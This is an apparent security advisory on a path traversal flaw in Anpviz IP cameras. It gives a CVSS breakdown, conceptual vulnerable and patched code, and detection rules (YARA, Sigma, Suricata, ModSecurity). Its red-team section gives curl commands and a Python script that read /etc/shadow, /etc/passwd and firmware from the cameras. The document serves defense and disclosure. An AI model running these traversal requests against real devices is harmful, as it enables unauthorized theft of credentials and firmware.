CVE-2024-35343

Executive Summary

CVE-2024-35343 is a critical path traversal vulnerability affecting multiple Anpviz IP camera models and potentially other vendors. The flaw resides in the /playback/ URI, where an unauthenticated attacker can send a crafted HTTP GET request to download arbitrary files from the device's filesystem. This allows for the exfiltration of sensitive configuration files, credentials, and firmware binaries. The vulnerability is publicly known, with proof-of-concept (PoC) code available, and no official patch has been released by the vendor. The CVSS v3.1 base score is 7.5 (High), driven by network exploitability, low attack complexity, and high confidentiality impact.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No write capability.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The combination of unauthenticated remote access and arbitrary file read makes this a prime target for initial access and credential harvesting in IoT botnets.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the web server component of the affected IP cameras. The /playback/ endpoint is intended to serve recorded video files. However, the application fails to sanitize user-supplied path parameters, allowing an attacker to use ../ sequences to escape the intended directory and access any file on the device's filesystem.

Root Cause: The web server does not validate or restrict the file path provided in the HTTP GET request to /playback/. For example, a request to /playback/../../../etc/passwd will return the contents of /etc/passwd if the web server runs with sufficient privileges.

Attack Flow:

1. Attacker identifies a vulnerable Anpviz camera via Shodan or other scanning.
2. Attacker sends a GET request to http://<camera-ip>/playback/../../../etc/shadow (or other sensitive files).
3. The camera's web server processes the path without sanitization, reads the file, and returns its contents in the HTTP response.
4. Attacker extracts credentials, configuration, or firmware for further exploitation.

Affected Files of Interest:

• /etc/passwd – User account information.
• /etc/shadow – Password hashes (if accessible).
• /etc/config/ – Device configuration files (may contain Wi-Fi passwords, cloud credentials).
• /mnt/mtd/ – Firmware and application binaries.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the web server binary handling the /playback/ endpoint. A patched version would implement input validation and path canonicalization.

Vulnerable Code (Conceptual C):

// Vulnerable: Directly uses user input without sanitization
char path[256];
snprintf(path, sizeof(path), "/mnt/playback/%s", user_input);
FILE *fp = fopen(path, "r");
if (fp) {
    // Send file contents to client
}

Patched Code (Conceptual C):

// Patched: Validate and canonicalize the path
char path[256];
char resolved[256];
snprintf(path, sizeof(path), "/mnt/playback/%s", user_input);
if (realpath(path, resolved) == NULL) {
    // Error: path does not exist
    return;
}
// Ensure resolved path starts with the allowed base directory
if (strncmp(resolved, "/mnt/playback/", 14) != 0) {
    // Error: path traversal detected
    return;
}
FILE *fp = fopen(resolved, "r");
if (fp) {
    // Send file contents to client
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain a vulnerable Anpviz camera (e.g., IPC-D250) or use a firmware emulator (e.g., QEMU with the camera's firmware).
2. Ensure the camera is accessible on the network (default IP often 192.168.1.x).
3. Use a tool like curl or a Python script to send malicious requests.

Exploitation Steps:

1. Basic Path Traversal:

   curl --path-as-is "http://<camera-ip>/playback/../../../etc/passwd"
   

2. Extract Shadow File:

   curl --path-as-is "http://<camera-ip>/playback/../../../etc/shadow"
   

3. Download Firmware:

   curl --path-as-is "http://<camera-ip>/playback/../../../mnt/mtd/firmware.bin" -o firmware.bin
   

4. Automated Exploit (Python):

   import requests
   import sys
   
   target = sys.argv[1]
   file_path = sys.argv[2] if len(sys.argv) > 2 else "/etc/passwd"
   url = f"http://{target}/playback/../../../{file_path}"
   response = requests.get(url, timeout=10)
   if response.status_code == 200:
       print(response.text)
   else:
       print(f"Failed: {response.status_code}")
   

Blue Team (Defensive)

Detection & Response:

1. Network Monitoring: Look for HTTP GET requests to /playback/ containing ../ sequences.
2. Log Analysis: Check web server logs for abnormal path patterns.
3. Honeypot: Deploy a fake camera endpoint to capture exploitation attempts.
4. Mitigation: If patching is not possible, block access to the /playback/ endpoint via a reverse proxy or WAF rule.

WAF Rule (ModSecurity):

SecRule REQUEST_URI "@contains /playback/" "id:1001,phase:1,deny,status:403,msg:'Path traversal attempt on /playback/'"

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /playback/ with path traversal sequences (../, ..\\, %2e%2e%2f).
  • Outbound connections from the camera to unknown IPs after exploitation (data exfiltration).
• File System IOCs:
  • Unexpected access to /etc/shadow, /etc/passwd, or configuration files.
  • Modified timestamps on sensitive files.
• Log IOCs:
  • Web server logs showing requests like GET /playback/../../../etc/passwd HTTP/1.1.

Detection Engineering

YARA Rule

rule CVE_2024_35343_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Anpviz cameras via /playback/"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-35343"
    strings:
        $traversal1 = "/playback/../"
        $traversal2 = "/playback/..\\"
        $traversal3 = "/playback/%2e%2e%2f"
        $traversal4 = "/playback/....//"
    condition:
        any of them
}

Sigma Rule

title: Anpviz Camera Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP GET requests to /playback/ with path traversal sequences
author: Valters IT
date: 2024/05/20
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|contains: '/playback/'
        cs-uri-query|contains: 
            - '..'
            - '%2e%2e'
    condition: selection
falsepositives:
    - Legitimate use of playback feature with valid paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35343 Anpviz Camera Path Traversal Attempt"; flow:to_server; content:"GET"; http_method; content:"/playback/"; http_uri; content:"../"; within:100; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the /playback/ endpoint if not required, or restrict access via firewall rules to trusted IPs only.
2. Vendor Patch: Contact Anpviz for a firmware update. As of this report, no patch is available.
3. Workaround: Deploy a reverse proxy (e.g., Nginx) in front of the camera to filter malicious requests:

   location /playback/ {
       deny all;
       return 403;
   }
   

4. Network Segmentation: Place IP cameras on a separate VLAN with strict egress filtering to prevent data exfiltration.
5. Monitoring: Enable logging and alerting on the above Sigma/Suricata rules.
6. Firmware Hardening: If possible, modify the firmware to include input validation (see patched code example).

Valters IT